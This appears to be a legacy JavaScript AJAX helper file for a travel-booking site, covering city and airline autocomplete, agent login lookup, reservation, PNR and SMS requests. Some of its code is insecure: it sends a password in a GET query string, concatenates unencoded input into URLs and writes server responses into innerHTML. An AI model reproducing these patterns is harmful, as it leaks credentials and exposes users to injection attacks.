
//Global XMLHTTP Request object
var XmlHttp;

//Creating and setting the instance of appropriate XMLHTTP Request object to a “XmlHttp” variable  
function CreateXmlHttp()
{
	try
    {
    // Firefox, Opera 8.0+, Safari
    XmlHttp = new XMLHttpRequest();
    }
  catch (e)
    {
	//Creating object of XMLHTTP in IE
	try
	{
		XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
	}
	catch(e)
	{
		try
		{
			XmlHttp = new ActiveXObject("Msxml2.XMLHTTP");
		} 
		catch(oc)
		{
			XmlHttp = null;
		}
	}}
	//Creating object of XMLHTTP in Mozilla and Safari 
	if(!XmlHttp && typeof XMLHttpRequest != "undefined") 
	{
		XmlHttp = new XMLHttpRequest();
	}
}

//Gets called when country combo box selection changes
function CountryListOnChange(key) 
{
    document.getElementById("loadingimage").style.visibility = "visible";
	document.getElementById("loadingimage").style.display = "";

	//var Country = document.getElementById("Country");
	//Getting the selected country from country combo box.
	//var selectedCountry = Country.options[Country.selectedIndex].value;
	
	// URL to get states for a given country
  if (key.length > 1)
   {
	var requestUrl = "GetCity.aspx" + "?SelectedCountry=" + key;
	CreateXmlHttp();
	
	// If browser supports XMLHTTPRequest object
	if(XmlHttp)
	{
		//Setting the event handler for the response
		XmlHttp.onreadystatechange = HandleResponse;
		
		//Initializes the request object with GET (METHOD of posting), 
		//Request URL and sets the request as asynchronous.
		XmlHttp.open("GET", requestUrl,  true);
		
		//Sends the request to server
		XmlHttp.send(null);		
	}
 }
}

//Called when response comes back from server
function HandleResponse()
{
	// To make sure receiving response data from server is completed
	if(XmlHttp.readyState == 4)
	{
		// To make sure valid response is received from the server, 200 means response received is OK
		if(XmlHttp.status == 200)
		{			
			ClearAndSetCityNameItemsStr(XmlHttp.responseText);
		}
		else
		{
			alert("There was a problem retrieving data from the server." );
		}
	}
}


function ClearAndSetCityNameItemsStr(countryNode)
{
    var stateList = document.getElementById("AutoCompleteBoxCity");
	//Clears the state combo box contents.
	stateList.options.length = 0;
//	for (var count = stateList.options.length-1; count >-1; count--)
//	{
//		stateList.options[count] = null;
//	}
	//stateList.options[stateList.options.length]= new Option ("< --- Select City --- >", "");
	//var stateNodes = countryNode.getElementsByTagName('state');
	var stateNodes = countryNode.split(",");
	var textValue; 
	var textValue1; 
	var textValue2; 
	var textValue3; 
	var optionItem;
	//alert('comes here');
	//Add new states list to the state combo box.
	for (var count = 0; count < stateNodes.length - 1; count+=4)
	{
		textValue = stateNodes[count];
   		textValue1= stateNodes[count+1];
   		textValue2= stateNodes[count+2];
   		textValue3= stateNodes[count+3];
   		//alert(textValue1);
   		optionItem = new Option (textValue1 + " ( " + textValue3 + " ) ", textValue + "~" + textValue1 +  "~" + textValue2,  false, false);
		stateList.options[stateList.length] = optionItem;
   		//stateList.options[stateList.options.length]= new Option (textValue, textValue1);

		//optionItem = new Option (textValue1, textValue);
		//CityName.options[CityList.length] = optionItem;
	}
	document.getElementById("loadingimage").style.visibility = "hidden";
    document.getElementById("loadingimage").style.display = "none";
	ShowDiv("autocompletecity");
	//alert(stateList.items);
}


//Gets called when country combo box selection changes
function DesiyaCountryListOnChange() 
{
//	document.getElementById("loadingimage").style.visibility = "visible";
//	document.getElementById("loadingimage").style.display = "";

//	var Country = document.getElementById("Country");

//	//Getting the selected country from country combo box.
//	var selectedCountry = Country.options[Country.selectedIndex].value;
	var selectedCountry="IN";
	// URL to get states for a given country
	var requestUrl = "DesiyaGetCity.aspx" + "?SelectedCountry=" + encodeURIComponent(selectedCountry);
	CreateXmlHttp();
	
	// If browser supports XMLHTTPRequest object
	if(XmlHttp)
	{
		//Setting the event handler for the response
		XmlHttp.onreadystatechange = DesiyaHandleResponse;
		
		//Initializes the request object with GET (METHOD of posting), 
		//Request URL and sets the request as asynchronous.
		XmlHttp.open("GET", requestUrl,  true);
		
		//Sends the request to server
		XmlHttp.send(null);		
	}

}


//Called when response comes back from server
function DesiyaHandleResponse()
{
	// To make sure receiving response data from server is completed
	if(XmlHttp.readyState == 4)
	{
		// To make sure valid response is received from the server, 200 means response received is OK
		if(XmlHttp.status == 200)
		{			
			DesiyaClearAndSetCityNameItemsStr(XmlHttp.responseText);
		}
		else
		{
			alert("There was a problem retrieving data from the server." );
		}
	}
}

//Clears the contents of state combo box and adds the states of currently selected country
function DesiyaClearAndSetCityNameItemsStr(countryNode)
{

    var stateList = document.getElementById("CityName");
	//Clears the state combo box contents.
	stateList.options.length = 0;
//	for (var count = stateList.options.length-1; count >-1; count--)
//	{
//		stateList.options[count] = null;
//	}
	stateList.options[stateList.options.length]= new Option ("< --- Select City --- >", "");
	//var stateNodes = countryNode.getElementsByTagName('state');
	var stateNodes = countryNode.split(",");
	var textValue; 
	var textValue1; 
	var optionItem;
	//alert('comes here');
	//Add new states list to the state combo box.
	for (var count = 0; count < stateNodes.length - 1; count+=2)
	{
	
   		textValue1 = stateNodes[count];
   		textValue= stateNodes[count+1];
   		//alert(textValue1);
   		optionItem = new Option (textValue, textValue + "-" + textValue1,  false, false);
		stateList.options[stateList.length] = optionItem;
   		//stateList.options[stateList.options.length]= new Option (textValue, textValue1);

		//optionItem = new Option (textValue1, textValue);
		//CityName.options[CityList.length] = optionItem;
	}
	//alert(stateList.items);
//	document.getElementById("loadingimage").style.visibility = "hidden";
//    document.getElementById("loadingimage").style.display = "none";
}


////Clears the contents of state combo box and adds the states of currently selected country
//function ClearAndSetCityNameItemsStr(countryNode)
//{

//    var stateList = document.getElementById("CityName");
//	//Clears the state combo box contents.
//	stateList.options.length = 0;
////	for (var count = stateList.options.length-1; count >-1; count--)
////	{
////		stateList.options[count] = null;
////	}
//	stateList.options[stateList.options.length]= new Option ("........ Select City ........", "");
//	//var stateNodes = countryNode.getElementsByTagName('state');
//	var stateNodes = countryNode.split(",");
//	var textValue; 
//	var textValue1; 
//	var optionItem;
//	//alert('comes here');
//	//Add new states list to the state combo box.
//	for (var count = 0; count < stateNodes.length - 1; count+=2)
//	{
//	
//   		textValue1 = stateNodes[count];
//   		textValue= stateNodes[count+1];
////   	alert(textValue1);
////      alert(textValue1);
//   		optionItem = new Option (textValue,textValue + "~" + textValue1,  false, false);
//		stateList.options[stateList.length] = optionItem;
//   		//stateList.options[stateList.options.length]= new Option (textValue, textValue1);

//		//optionItem = new Option (textValue1, textValue);
//		//CityName.options[CityList.length] = optionItem;
//	}
//	//alert(stateList.items);
//	document.getElementById("loadingimage").style.visibility = "hidden";
//    document.getElementById("loadingimage").style.display = "none";
//}

//Clears the contents of state combo box and adds the states of currently selected country
function ClearAndSetCityNameItems(countryNode)
{

    var stateList = document.getElementById("CityName");
	//Clears the state combo box contents.
	for (var count = stateList.options.length-1; count >-1; count--)
	{
		stateList.options[count] = null;
	}
//        alert("Test1");
	var stateNodes = countryNode.getElementsByTagName('state');
	var textValue; 
	var optionItem;
	//Add new states list to the state combo box.
	for (var count = 0; count < stateNodes.length; count++)
	{
   		textValue = GetInnerText(stateNodes[count]);
		optionItem = new Option( textValue, textValue,  false, false);
		stateList.options[stateList.length] = optionItem;
	}

}

//Returns the node text value 
function GetInnerText (node)
{
	 return (node.textContent || node.innerText || node.text) ;
}


//Gets called when the text in filled in the text changes in City
function GetCityOnChange(key) 
{
   document.getElementById("loadingimage2").style.visibility = "visible";
   document.getElementById("loadingimage2").style.display = "";
   var City = document.getElementById("ToSector");
 if (key.length > 2)
 {
	//Getting the selected country from country combo box.
	//var selectedCountry = Country.options[Country.selectedIndex].value;
	
	// URL to get states for a given country
	var requestUrl = "CityAutoComplete.aspx" + "?SelectedCountry=" + key;
	CreateXmlHttp();
	
	// If browser supports XMLHTTPRequest object
	if(XmlHttp)
	{
	  	//Setting the event handler for the response
		XmlHttp.onreadystatechange = HandleResponseAutoComplete;
		
		//Initializes the request object with GET (METHOD of posting), 
		//Request URL and sets the request as asynchronous.
		XmlHttp.open("GET", requestUrl,  true);
		
		//Sends the request to server
		XmlHttp.send(null);		
	}
}
}

//Called when response comes back from server
function HandleResponseAutoComplete()
{
	// To make sure receiving response data from server is completed
	if(XmlHttp.readyState == 4)
	{
		// To make sure valid response is received from the server, 200 means response received is OK
		if(XmlHttp.status == 200)
		{			
			ClearAndSetAutoComplete(XmlHttp.responseText);
		}
		else
		{
			alert("There was a problem retrieving data from the server." );
		}

		//{	
		//	ShowDiv("autocomplete");
		//	document.getElementById("autocomplete").innerHTML =XmlHttp.responseText;
			//ClearAndSetCityNameItemsStr(XmlHttp.responseText);
		//}
		//else
		//{
		//	HideDiv("autocomplete");
		//	document.getElementById("autocomplete").innerHTML ="There was a problem retrieving data from the server.";
		//}
	}
}

//Clears the contents of state combo box and adds the states of currently selected country
function ClearAndSetAutoComplete(countryNode)
{

    var stateList = document.getElementById("AutoCompleteBox");
	//Clears the state combo box contents.
	stateList.options.length = 0;
//	for (var count = stateList.options.length-1; count >-1; count--)
//	{
//		stateList.options[count] = null;
//	}
	//stateList.options[stateList.options.length]= new Option ("< --- Select City --- >", "");
	//var stateNodes = countryNode.getElementsByTagName('state');
	var stateNodes = countryNode.split(",");
	var textValue; 
	var textValue1; 
	var optionItem;
	//alert('comes here');
	//Add new states list to the state combo box.
	for (var count = 0; count < stateNodes.length - 1; count+=2)
	{
	
   		textValue1 = stateNodes[count];
   		textValue= stateNodes[count+1];
   		//alert(textValue1);
   		optionItem = new Option (textValue, textValue1,  false, false);
		stateList.options[stateList.length] = optionItem;
   		//stateList.options[stateList.options.length]= new Option (textValue, textValue1);

		//optionItem = new Option (textValue1, textValue);
		//CityName.options[CityList.length] = optionItem;
	}
	document.getElementById("loadingimage2").style.visibility = "hidden";
    document.getElementById("loadingimage2").style.display = "none";
	ShowDiv("autocomplete");
	//alert(stateList.items);
}

function ShowDiv(divid)
{
   if (document.layers) document.layers[divid].visibility="show";
   else document.getElementById(divid).style.visibility="visible";
}

function HideDiv(divid)
{
   if (document.layers) document.layers[divid].visibility="hide";
   else document.getElementById(divid).style.visibility="hidden";
}



//Gets called when the text in filled in the text changes in City
function GetCityOnChangeFrom(key) 
{
    document.getElementById("loadingimage1").style.visibility = "visible";
	document.getElementById("loadingimage1").style.display = "";
	var City = document.getElementById("FromSector");
	//alert(key.length);
if (key.length > 2)
{
	//Getting the selected country from country combo box.
	//var selectedCountry = Country.options[Country.selectedIndex].value;
	
	// URL to get states for a given country
	var requestUrl = "CityAutoComplete.aspx" + "?SelectedCountry=" + key;
	CreateXmlHttp();
	
	// If browser supports XMLHTTPRequest object
	if(XmlHttp)
	{
		//Setting the event handler for the response
		XmlHttp.onreadystatechange = HandleResponseAutoCompleteFrom;
		//Initializes the request object with GET (METHOD of posting), 
		//Request URL and sets the request as asynchronous.
		XmlHttp.open("GET", requestUrl,  true);
		
		//Sends the request to server
		XmlHttp.send(null);		
	}
}
}

//Called when response comes back from server
function HandleResponseAutoCompleteFrom()
{
	// To make sure receiving response data from server is completed
	
	if(XmlHttp.readyState == 4)
	{
		// To make sure valid response is received from the server, 200 means response received is OK
		if(XmlHttp.status == 200)
		{			
			ClearAndSetAutoCompleteFrom(XmlHttp.responseText);
		}
		else
		{
			alert("There was a problem retrieving data from the server." );
		}

		//{	
		//	ShowDiv("autocompletefrom");
		//	document.getElementById("autocomplete").innerHTML =XmlHttp.responseText;
			//ClearAndSetCityNameItemsStr(XmlHttp.responseText);
		//}
		//else
		//{
		//	HideDiv("autocompletefrom");
		//	document.getElementById("autocomplete").innerHTML ="There was a problem retrieving data from the server.";
		//}
	}
}

//Clears the contents of state combo box and adds the states of currently selected country
function ClearAndSetAutoCompleteFrom(countryNode)
{
    var stateList = document.getElementById("AutoCompleteBoxFrom");
//  Clears the state combo box contents.
	stateList.options.length = 0;
//	for (var count = stateList.options.length-1; count >-1; count--)
//	{
//		stateList.options[count] = null;
//	}
	//stateList.options[stateList.options.length]= new Option ("< --- Select City --- >", "");
	//var stateNodes = countryNode.getElementsByTagName('state');
	var stateNodes = countryNode.split(",");
	var textValue; 
	var textValue1; 
	var optionItem;
	//Add new states list to the state combo box.
	for (var count = 0; count < stateNodes.length - 1; count+=2)
	{
		textValue1 = stateNodes[count];
   		textValue= stateNodes[count+1];
   		//alert(textValue1);
   		optionItem = new Option (textValue, textValue1,  false, false);
		stateList.options[stateList.length] = optionItem;
   		//stateList.options[stateList.options.length]= new Option (textValue, textValue1);

		//optionItem = new Option (textValue1, textValue);
		//CityName.options[CityList.length] = optionItem;
	}
	  
	document.getElementById("loadingimage1").style.visibility = "hidden";
    document.getElementById("loadingimage1").style.display = "none";    	
	ShowDiv("autocompletefrom");
	//alert(stateList.items);
}

//Used for getting the User details 
function GetUserDetails(key) 
{
var UserID = document.getElementById("Textbox_Username");
if (key.length > 0)
{
	var requestUrl = "GetUser.aspx" + "?SelectedUser=" + key;
	CreateXmlHttp();
	if(XmlHttp)
	{
		XmlHttp.onreadystatechange = HandleResponseAutoCompleteUser;
		XmlHttp.open("GET", requestUrl,  false);
	    XmlHttp.send(null);		
	}
}
}

//Called when response comes back from server
function HandleResponseAutoCompleteUser()
{
	// To make sure receiving response data from server is completed
	if(XmlHttp.readyState == 4)
	{
		// To make sure valid response is received from the server, 200 means response received is OK
		if(XmlHttp.status == 200)
		{			
			ClearAndSetAutoCompleteUser(XmlHttp.responseText);
		}
		else
		{
			alert("There was a problem retrieving data from the server." );
		}
	}
}

//Populate the hidden fields
function ClearAndSetAutoCompleteUser(UserNode)
{

    var stateList = document.getElementById("UserDetailsRcvd");
    stateList.value = UserNode;
	//Clears the state combo box contents.
	//alert(stateList.items);
}

//Used for sending SMS 
function SendSMS(requestUrl) 
{
	CreateXmlHttp();
	if(XmlHttp)
	{
//		XmlHttp.onreadystatechange = HandleSMS;
		XmlHttp.open("GET", requestUrl,  true);
		XmlHttp.send(null);		
	}
}



//Called when response comes back from server
function HandleSMS()
{
	// To make sure receiving response data from server is completed
	if(XmlHttp.readyState == 4)
	{
		// To make sure valid response is received from the server, 200 means response received is OK
		if(XmlHttp.status == 200)
		{			
			SetSMSRespone(XmlHttp.responseText);
		}
		else
		{
			alert("There was a problem contacting SMS Server" );
		}
	}
}

//Populate the hidden fields
function SetSMSRespone(UserNode)
{
    var stateList = document.getElementById("SMSResponse");
    stateList.value = UserNode;
}

function GetReservationDetails(key) 
{
if (key.length > 0)
{
	var requestResUrl = "GetResID.aspx" + "?SelectedID=" + key;
	CreateXmlHttp();
	if(XmlHttp)
	{
		XmlHttp.onreadystatechange = HandleReservationCheck;
		XmlHttp.open("GET", requestResUrl,  false);
	    XmlHttp.send(null);		
	}
}
}

function HandleReservationCheck()
{
// To make sure receiving response data from server is completed
	if(XmlHttp.readyState == 4)
	{
		// To make sure valid response is received from the server, 200 means response received is OK
		if(XmlHttp.status == 200)
		{			
			SetReservation(XmlHttp.responseText);
		}
		else
		{
			alert("There was a problem retrieving data from the server." );
		}
	}
}

function SetReservation(UserNode)
{
    var stateList = document.getElementById("SetReservation");
    stateList.value = UserNode;
   
}

// Cancel PNR - Get the Details
function CancelPNR(key) 
{
if (key.length > 0)
{
    var requestResUrl = "GetPNRID.aspx" + "?SelectedID=" + key;
	CreateXmlHttp();
	if(XmlHttp)
	{
		XmlHttp.onreadystatechange = HandleCancelPNR;
		XmlHttp.open("GET", requestResUrl,  false);
	    XmlHttp.send(null);		
	}
}
}

function HandleCancelPNR()
{
// To make sure receiving response data from server is completed
	if(XmlHttp.readyState == 4)
	{
		// To make sure valid response is received from the server, 200 means response received is OK
		if(XmlHttp.status == 200)
		{			
			SetCancelPNR(XmlHttp.responseText);
		}
		else
		{
			alert("There was a problem retrieving data from the server." );
		}
	}
}

function SetCancelPNR(UserNode)
{
    var stateList = document.getElementById("SetPNR");
    stateList.value = UserNode;
   
}
//Used for getting the User details 
function GetAgentUserDetails(key, Pwd, Utype, MerchantURL) 
{
// alert(key);
// alert(Pwd);
// alert(Utype);
// alert(MerchantURL);
//var Pwd = document.getElementById("Textbox_Password");
//var myindex  = document.frmProduct.AgencyLogin.selectedIndex;
//var Utype = document.frmProduct.AgencyLogin.options[myindex].value;  //document.getElementById("Textbox_Password");
if (key.length > 0)
{
	var requestUrl = "GetAgentUser.aspx" + "?SelectedUser=" + key + "&Type=" + Utype + "&Pwd=" + Pwd + "&MerchantURL=" + MerchantURL;
	CreateXmlHttp();
	if(XmlHttp)
	{
		XmlHttp.onreadystatechange = HandleResponseAutoCompleteAgentUser;
		XmlHttp.open("GET", requestUrl,  false);
	    XmlHttp.send(null);		
	}
 }
}

//Called when response comes back from server
function HandleResponseAutoCompleteAgentUser()
{
	// To make sure receiving response data from server is completed
	if(XmlHttp.readyState == 4)
	{
		// To make sure valid response is received from the server, 200 means response received is OK
		if(XmlHttp.status == 200)
		{			
			ClearAndSetAutoCompleteAgentUser(XmlHttp.responseText);
		}
		else
		{
			alert("There was a problem retrieving data from the server." );
		}
	}
}

//Populate the hidden fields
function ClearAndSetAutoCompleteAgentUser(UserNode)
{

    var stateList = document.getElementById("UserDetailsRcvd");
    stateList.value = UserNode;

	//Clears the state combo box contents.
	//alert(stateList.items);
}


//Gets called when the text in filled in the text changes in Preffered Airlines
function GetPrefAirlineOneOnChange(key) 
{
 document.getElementById("SPAN1").style.visibility = "visible";
 document.getElementById("SPAN1").style.display = "";
 if (key.length > 1)
 {
	//Getting the selected country from country combo box.
	//var selectedCountry = Country.options[Country.selectedIndex].value;
	
	// URL to get states for a given country
	var requestUrl = "PrefAirlineAutoComplete.aspx?PrefAirline=" + key;
	CreateXmlHttp();
	
	// If browser supports XMLHTTPRequest object
	if(XmlHttp)
	{
	 	//Setting the event handler for the response
		XmlHttp.onreadystatechange = HandleResponsePrefAirlineOneAutoComplete;
		
		//Initializes the request object with GET (METHOD of posting), 
		//Request URL and sets the request as asynchronous.
		XmlHttp.open("GET", requestUrl,  true);
		
		//Sends the request to server
		XmlHttp.send(null);		
	}
 }
}

//Called when response comes back from server
function HandleResponsePrefAirlineOneAutoComplete()
{
	// To make sure receiving response data from server is completed
	if(XmlHttp.readyState == 4)
	{
		// To make sure valid response is received from the server, 200 means response received is OK
		if(XmlHttp.status == 200)
		{			
		  ClearAndSetPrefAirlineOneAutoComplete(XmlHttp.responseText);
		}
		else
		{
			alert("There was a problem retrieving data from the server." );
		}
	}
}

//Clears the contents of state combo box and adds the states of currently selected country
function ClearAndSetPrefAirlineOneAutoComplete(AirlineNode)
{
    var AirlineList = document.getElementById("Select1");
	//Clears the state combo box contents.
	AirlineList.options.length = 0;
	var AirNodes = AirlineNode.split(",");
	var textValue; 
	var textValue1; 
	var optionItem;
	for (var count = 0; count < AirNodes.length - 1; count+=2)
	{
		textValue = AirNodes[count];
		textValue1= AirNodes[count+1];
   		optionItem = new Option (textValue,textValue1,  false, false);
		AirlineList.options[AirlineList.length] = optionItem;
    }
	document.getElementById("SPAN1").style.visibility = "hidden";
    document.getElementById("SPAN1").style.display = "none";
	ShowDiv("Div1");
}

//Gets called when the text in filled in the text changes in Preffered Airlines
function GetPrefAirlineTwoOnChange(key) 
{
 document.getElementById("SPAN2").style.visibility = "visible";
 document.getElementById("SPAN2").style.display = "";
 if (key.length > 1)
 {
	//Getting the selected country from country combo box.
	//var selectedCountry = Country.options[Country.selectedIndex].value;
	
	// URL to get states for a given country
	var requestUrl = "PrefAirlineAutoComplete.aspx?PrefAirline=" + key;
	CreateXmlHttp();
	
	// If browser supports XMLHTTPRequest object
	if(XmlHttp)
	{
	 	//Setting the event handler for the response
		XmlHttp.onreadystatechange = HandleResponsePrefAirlineTwoAutoComplete;
		
		//Initializes the request object with GET (METHOD of posting), 
		//Request URL and sets the request as asynchronous.
		XmlHttp.open("GET", requestUrl,  true);
		
		//Sends the request to server
		XmlHttp.send(null);		
	}
 }
}

//Called when response comes back from server
function HandleResponsePrefAirlineTwoAutoComplete()
{
	// To make sure receiving response data from server is completed
	if(XmlHttp.readyState == 4)
	{
		// To make sure valid response is received from the server, 200 means response received is OK
		if(XmlHttp.status == 200)
		{			
		  ClearAndSetPrefAirlineTwoAutoComplete(XmlHttp.responseText);
		}
		else
		{
			alert("There was a problem retrieving data from the server." );
		}
	}
}

//Clears the contents of state combo box and adds the states of currently selected country
function ClearAndSetPrefAirlineTwoAutoComplete(AirlineNode)
{
    var AirlineList = document.getElementById("Select2");
	//Clears the state combo box contents.
	AirlineList.options.length = 0;
	var AirNodes = AirlineNode.split(",");
	var textValue; 
	var textValue1; 
	var optionItem;
	for (var count = 0; count < AirNodes.length - 1; count+=2)
	{
		textValue = AirNodes[count];
		textValue1= AirNodes[count+1];
   		optionItem = new Option (textValue ,textValue1,  false, false);
		AirlineList.options[AirlineList.length] = optionItem;
    }
	document.getElementById("SPAN2").style.visibility = "hidden";
    document.getElementById("SPAN2").style.display = "none";
	ShowDiv("Div2");
}

//Gets called when the text in filled in the text changes in Preffered Airlines
function GetPrefAirlineThreeOnChange(key) 
{
 document.getElementById("SPAN3").style.visibility = "visible";
 document.getElementById("SPAN3").style.display = "";
 if (key.length > 1)
 {
	//Getting the selected country from country combo box.
	//var selectedCountry = Country.options[Country.selectedIndex].value;
	
	// URL to get states for a given country
	var requestUrl = "PrefAirlineAutoComplete.aspx?PrefAirline=" + key;
	CreateXmlHttp();
	
	// If browser supports XMLHTTPRequest object
	if(XmlHttp)
	{
	 	//Setting the event handler for the response
		XmlHttp.onreadystatechange = HandleResponsePrefAirlineThreeAutoComplete;
		
		//Initializes the request object with GET (METHOD of posting), 
		//Request URL and sets the request as asynchronous.
		XmlHttp.open("GET", requestUrl,  true);
		
		//Sends the request to server
		XmlHttp.send(null);		
	}
 }
}

//Called when response comes back from server
function HandleResponsePrefAirlineThreeAutoComplete()
{
	// To make sure receiving response data from server is completed
	if(XmlHttp.readyState == 4)
	{
		// To make sure valid response is received from the server, 200 means response received is OK
		if(XmlHttp.status == 200)
		{			
		  ClearAndSetPrefAirlineThreeAutoComplete(XmlHttp.responseText);
		}
		else
		{
			alert("There was a problem retrieving data from the server." );
		}
	}
}

//Clears the contents of state combo box and adds the states of currently selected country
function ClearAndSetPrefAirlineThreeAutoComplete(AirlineNode)
{
    var AirlineList = document.getElementById("Select3");
	//Clears the state combo box contents.
	AirlineList.options.length = 0;
	var AirNodes = AirlineNode.split(",");
	var textValue; 
	var textValue1; 
	var optionItem;
	for (var count = 0; count < AirNodes.length - 1; count+=2)
	{
		textValue = AirNodes[count];
		textValue1= AirNodes[count+1];
   		optionItem = new Option (textValue,textValue1,  false, false);
		AirlineList.options[AirlineList.length] = optionItem;
    }
	document.getElementById("SPAN3").style.visibility = "hidden";
    document.getElementById("SPAN3").style.display = "none";
	ShowDiv("Div3");
}
//Used for check status 
function GetResid(Reservationid,MerchantURL) 
{
    //alert(Reservationid);
    if (Reservationid.length > 0)
    {
        //alert(Reservationid);
	    var requestUrl = "GetResservationID.aspx" + "?ResID=" + Reservationid + "&MerchantURL=" + MerchantURL;
	    CreateXmlHttp();
	    if(XmlHttp)
	    {
    //	alert(MerchantURL);
		    XmlHttp.onreadystatechange = HandleResponseAutoCompleteResid;
		    XmlHttp.open("GET", requestUrl,  false);
	        XmlHttp.send(null);		
	    }
    }
}

//Called when response comes back from server
function HandleResponseAutoCompleteResid()
{
	// To make sure receiving response data from server is completed
	if(XmlHttp.readyState == 4)
	{
		// To make sure valid response is received from the server, 200 means response received is OK
		if(XmlHttp.status == 200)
		{			
			ClearAndSetAutoCompleteResid(XmlHttp.responseText);
		}
		else
		{
			alert("There was a problem retrieving data from the server" );
		}
	}
}

//Populate the hidden fields
function ClearAndSetAutoCompleteResid(UserNode)
{
//alert(UserNode);
    var Resid = document.getElementById("ResidRecvd");
    Resid.value = UserNode;

	//Clears the state combo box contents.
	//alert(stateList.items);
}
function Getflightprice(data,searchval) 
{
    //alert(Reservationid);
    if (data.length > 0)
    {
        //alert(Reservationid);
	    var requestUrl = "Getflightpricedata.aspx" + "?pricedata=" + data + "&searchdata=" + searchval;
	    CreateXmlHttp();
	    if(XmlHttp)
	    {
    //	alert(MerchantURL);
		    XmlHttp.onreadystatechange = HandleResponseprice;
		    XmlHttp.open("GET", requestUrl,  false);
	        XmlHttp.send(null);		
	    }
    }
}

//Called when response comes back from server
function HandleResponseprice()
{
	// To make sure receiving response data from server is completed
	if(XmlHttp.readyState == 4)
	{
		// To make sure valid response is received from the server, 200 means response received is OK
		if(XmlHttp.status == 200)
		{			
			ClearAndSetprice(XmlHttp.responseText);
		}
		else
		{
			alert("There was a problem retrieving data from the server" );
		}
	}
}

//Populate the hidden fields
function ClearAndSetprice(UserNode)
{
//alert(UserNode);
    var Resid = document.getElementById("pricedataRcvd");
    Resid.value = UserNode;

	//Clears the state combo box contents.
	//alert(stateList.items);
}
function GetdesiahotelDetails(count,hotelcode,city,type,MoreInfoDiv) 
{//alert(key);
//var UserID = document.getElementById("Textbox_Username");
//if (key.length > 0)
//{
//	var requestUrl = GetSingleAvailableHotelData(key);
//document.getElementById("loadingimage").style.visibility = "visible";
//   document.getElementById("loadingimage").style.display = "";
//    document.getElementById("MoreInfoDiv"+count+"").style.display="block";
//alert(count);
    //document.getElementById("moreinfo_preloader"+count+"").style.display='block';
    var finalstr = count + ',' + hotelcode + ',' + city + ',' + type + ',' + MoreInfoDiv;
    var requestUrl = "GetdesiaHoteldetail.aspx" + "?SelectedHotel=" + finalstr;
	//alert(requestUrl);
	CreateXmlHttp();
	if(XmlHttp)
	{
		//XmlHttp.onreadystatechange = HandleResponsedesia;
		//var XmlHttp=newXMLHttpRequest();
		XmlHttp.onreadystatechange=function()
		{
		    if(XmlHttp.readyState == 4)
	        {
		        // To make sure valid response is received from the server, 200 means response received is OK
//		        if (type == 'photo')
//		        {
//		        var response = XmlHttp.responseText;
//                document.getElementById("MoreInfoDiv"+count+"").innerHTML=response;
//                handlePhotoTab(type, count);
//		        }
//		        else
//		        {
		        var response = XmlHttp.responseText;
		        //document.getElementById("moreinfo_preloader"+count+"").style.display='none';
//		        document.getElementById("loadingimage").style.visibility = "hidden";
//    document.getElementById("loadingimage").style.display = "none";
                document.getElementById("MoreInfoDiv"+count+"").innerHTML=response;
//		        }
                //document.getElementById("moreinfo_preloader"+count+"").style.display='none';
	        }
		}
		XmlHttp.open("GET", requestUrl,  false);
		//XmlHttp.open("GET","GetdesiaHoteldetail.aspx?SelectedHotel="+finalstr,true);
	    XmlHttp.send(null);		
	}
//}
}
function GetCityOnChange0(key) 
{
if (key.length > 2)
{
	var requestUrl = "CityAutoComplete.aspx" + "?SelectedCountry=" + key;
	CreateXmlHttp();
	
	// If browser supports XMLHTTPRequest object
	if(XmlHttp)
	{
		//Setting the event handler for the response
		XmlHttp.onreadystatechange = HandleResponseAutoComplete0;
		
		//Initializes the request object with GET (METHOD of posting), 
		//Request URL and sets the request as asynchronous.
		XmlHttp.open("GET", requestUrl,  true);
		
		//Sends the request to server
		XmlHttp.send(null);		
	}
}
}

//Called when response comes back from server
function HandleResponseAutoComplete0()
{
	// To make sure receiving response data from server is completed
	if(XmlHttp.readyState == 4)
	{
		// To make sure valid response is received from the server, 200 means response received is OK
		if(XmlHttp.status == 200)
		{			
			ClearAndSetAutoComplete0(XmlHttp.responseText);
		}
		else
		{
			alert("There was a problem retrieving data from the server." );
		}
	}
}

//Clears the contents of state combo box and adds the states of currently selected country
function ClearAndSetAutoComplete0(countryNode)
{

    var stateList = document.getElementById("AutoCompleteBox");
	//Clears the state combo box contents.
	stateList.options.length = 0;
	var stateNodes = countryNode.split(",");
	var textValue; 
	var textValue1; 
	var optionItem;

	for (var count = 0; count < stateNodes.length - 1; count+=2)
	{
	
   		textValue1 = stateNodes[count];
   		textValue= stateNodes[count+1];
   		//alert(textValue1);
   		optionItem = new Option (textValue, textValue1,  false, false);
		stateList.options[stateList.length] = optionItem;
 	}
	ShowDiv("autocomplete");
	//alert(stateList.items);
}

function GetCityOnChange1(key) 
{
if (key.length > 2)
{
	var requestUrl = "CityAutoComplete.aspx" + "?SelectedCountry=" + key;
	CreateXmlHttp();
	
	// If browser supports XMLHTTPRequest object
	if(XmlHttp)
	{
		//Setting the event handler for the response
		XmlHttp.onreadystatechange = HandleResponseAutoComplete1;
		
		//Initializes the request object with GET (METHOD of posting), 
		//Request URL and sets the request as asynchronous.
		XmlHttp.open("GET", requestUrl,  true);
		
		//Sends the request to server
		XmlHttp.send(null);		
	}
}
}

//Called when response comes back from server
function HandleResponseAutoComplete1()
{
	// To make sure receiving response data from server is completed
	if(XmlHttp.readyState == 4)
	{
		// To make sure valid response is received from the server, 200 means response received is OK
		if(XmlHttp.status == 200)
		{			
			ClearAndSetAutoComplete1(XmlHttp.responseText);
		}
		else
		{
			alert("There was a problem retrieving data from the server." );
		}
	}
}

//Clears the contents of state combo box and adds the states of currently selected country
function ClearAndSetAutoComplete1(countryNode)
{

    var stateList = document.getElementById("AutoCompleteBox1");
	//Clears the state combo box contents.
	stateList.options.length = 0;
	var stateNodes = countryNode.split(",");
	var textValue; 
	var textValue1; 
	var optionItem;

	for (var count = 0; count < stateNodes.length - 1; count+=2)
	{
	
   		textValue1 = stateNodes[count];
   		textValue= stateNodes[count+1];
   		//alert(textValue1);
   		optionItem = new Option (textValue, textValue1,  false, false);
		stateList.options[stateList.length] = optionItem;
 	}
	ShowDiv("autocomplete1");
	//alert(stateList.items);
}
function GetCityOnChange2(key) 
{
if (key.length > 2)
{
	var requestUrl = "CityAutoComplete.aspx" + "?SelectedCountry=" + key;
	CreateXmlHttp();
	
	// If browser supports XMLHTTPRequest object
	if(XmlHttp)
	{
		//Setting the event handler for the response
		XmlHttp.onreadystatechange = HandleResponseAutoComplete2;
		
		//Initializes the request object with GET (METHOD of posting), 
		//Request URL and sets the request as asynchronous.
		XmlHttp.open("GET", requestUrl,  true);
		
		//Sends the request to server
		XmlHttp.send(null);		
	}
}
